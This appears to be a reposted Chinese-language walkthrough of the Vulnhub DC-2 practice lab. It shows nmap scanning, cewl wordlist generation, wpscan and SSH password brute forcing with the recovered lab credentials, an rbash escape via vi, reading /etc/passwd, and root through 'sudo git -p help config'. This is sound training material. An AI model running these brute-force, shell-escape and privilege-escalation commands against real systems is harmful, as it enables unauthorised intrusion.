Vulnhub_DC2-WalkThrough 's Range clearance record BY FUCK*******
2022-10-4 00:2:21 Author: 猫因的安全(查看原文) 阅读量:12 收藏






Much like DC-1, DC-2 is another purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
As with the original DC-1, it's designed with beginners in mind.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Just like with DC-1, there are five flags including the final flag.
And again, just like with DC-1, the flags are important for beginners, but not so important for those who have experience.
In short, the only flag that really counts, is the final flag.
For beginners, Google is your friend. Well, apart from all the privacy concerns etc etc.
I haven't explored all the ways to achieve root, as I scrapped the previous version I had been working on, and started completely fresh apart from the base OS install.

Technical Information

DC-2 is a VirtualBox VM built on Debian 32 bit, so there should be no issues running it on most PCs.
While I haven't tested it within a VMware environment, it should also work.
It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.
Installation is simple - download it, unzip it, and then import it into VirtualBox and away you go.
Please note that you will need to set the hosts file on your pentesting device to something like: dc-2
Obviously, replace with the actual IP address of DC-2.
It will make life a whole lot simpler (and a certain CMS may not work without it).
If you're not sure how to do this, instructions are here.


  • 字典生成工具 cewl (flag2)
  • wpscan (flag2)
  • rbash 逃逸 (flag4)
  • git 提权 (flag5)



  • VMware® Workstation 16 Pro
  • kali : NAT 模式
  • 靶机 : NAT 模式


老规矩,先知道对面 IP 才行,使用 nmap 扫描

语法 nmap -sP <网段>/24

nmap -sP

排除法,去掉自己、宿主机、网关, 就是目标了


nmap -T5 -A -v -p-

可以看到,开放了 web 和 ssh 服务

下面开始前先按照信息修改主机 hosts 文件

这里的 kali 进行攻击,修改步骤如下

echo " dc-2" >> /etc/hosts

然后 web 访问,就可以看到 flag1

Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

More passwords is always better, but sometimes you just can’t win them all.

Log in as one to see the next flag.

If you can’t find it, log in as another.


你惯用的字词列表可能无法使用,因此,也许你只需要 cewl。




flag1 提示了一个工具 cewl,这是个抓取网站信息用于生成密码的工具,估计意思就是让你用这个工具跑个密码表出来

cewl kali 下自带,直接使用就是了

cewl http://dc-2 -w out.txt

密码表有了,那么就应该爆破了,目标这个网站一看用的就是 wordpress,默认的登录地址一般是 /wp-admin/wp-login.php

不要使用 kali 自带的 burp 直接跑,你会急得想砸电脑,kali 默认的 burp 是社区版,那个爆破速度基本没用,burp 使用教程参考 BurpSuite笔记

接下来使用一个工具 WPScan,同样 kali 自带

wpscan --url http://dc-2 --enumerate u
wpscan --url http://dc-2 --passwords out.txt


Username : jerry
Password : adipiscing

Username : tom
Password : parturient

使用账号 jerry 登录后可以发现 flag2

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.


如果你无法利用 WordPress 并采取捷径,那还有另一种方法。


flag 提示,如果 wordpress 打不下来,就得换一个入口

上面使用了 wpscan 进行了扫描和爆破,但是漏洞扫描没有任何结果,因为现在 wpscan 扫描漏洞需要 API Token 的支持,所以需要访问 注册一个账号,获得 API Token

wpscan --url http://dc-2/ --api-token 这边填你的APIToken

看了下,大部分需要认证,并且都是 XSS 之类的,靶机这环境根本没用,有一个 WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution 可以试一试,反正也有账号

根据信息,CVE 编号为 CVE-2019-8942、CVE-2019-8943,MSF 里正好有模块,不过其实是不好利用的,因为这个漏洞是通过文件上传造成的,而 jerry 和 tom 都无法上传,只有 admin 有权限修改上传点

既然打不下来 wordpress ,就换一个,联想到端口扫描出的 7744 SSH 服务,这里可以作为一个入口

这里使用 SNETCracker 这个工具爆破 SSH,注意这个软件是在windows下运行的,且爆破时线程尽量调量为低,账号密码字典就使用之前 cewl 生产出来的字典


Username : tom
Password : parturient


ssh [email protected] -p 7744

看来是个受限制的 shell 环境,rbash,使用自动补全命令 compgen -c

可以看到我们能使用 less 和 vi ,less 查看 flag3

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.


可怜的老 Tom 总是追随 Jerry。也许他应该承受自己造成的所有压力。

这里提示了之前爆破出的2个 web 用户,会不会 linux 也有这2个用户?查看 passwd 文件

less /etc/passwd

可见 jerry 用户存在,那么下面就是 rbash 逃逸-->提权

使用 vi 进行逃逸


:set shell=/bin/sh

更改环境变量,把 /bin/sh 目录加进去,不然许多命令不好用

echo $PATH
export PATH=$PATH:/bin:/usr/bin

ok,现在是正常的 shell 环境了,在提权之前,尝试登录 jerry 用户

su jerry
Good to see that you've made it this far - but you're not home yet.

You still need to get the final flag (the only flag that really counts!!!).

No hints here - you're on your own now. :-)

Go on - git outta here!!!!





继续-git outta here !!!!

这里提到了 git,那么就用它提权

找到 git 提权的语法

sudo git -p help config

提权成功,感谢靶机作者 @DCUA7,查看最终 flag

cat final-flag.txt
 __    __     _ _       _                    _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/


A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly

If you enjoyed this CTF, send me a tweet via @DCAU7.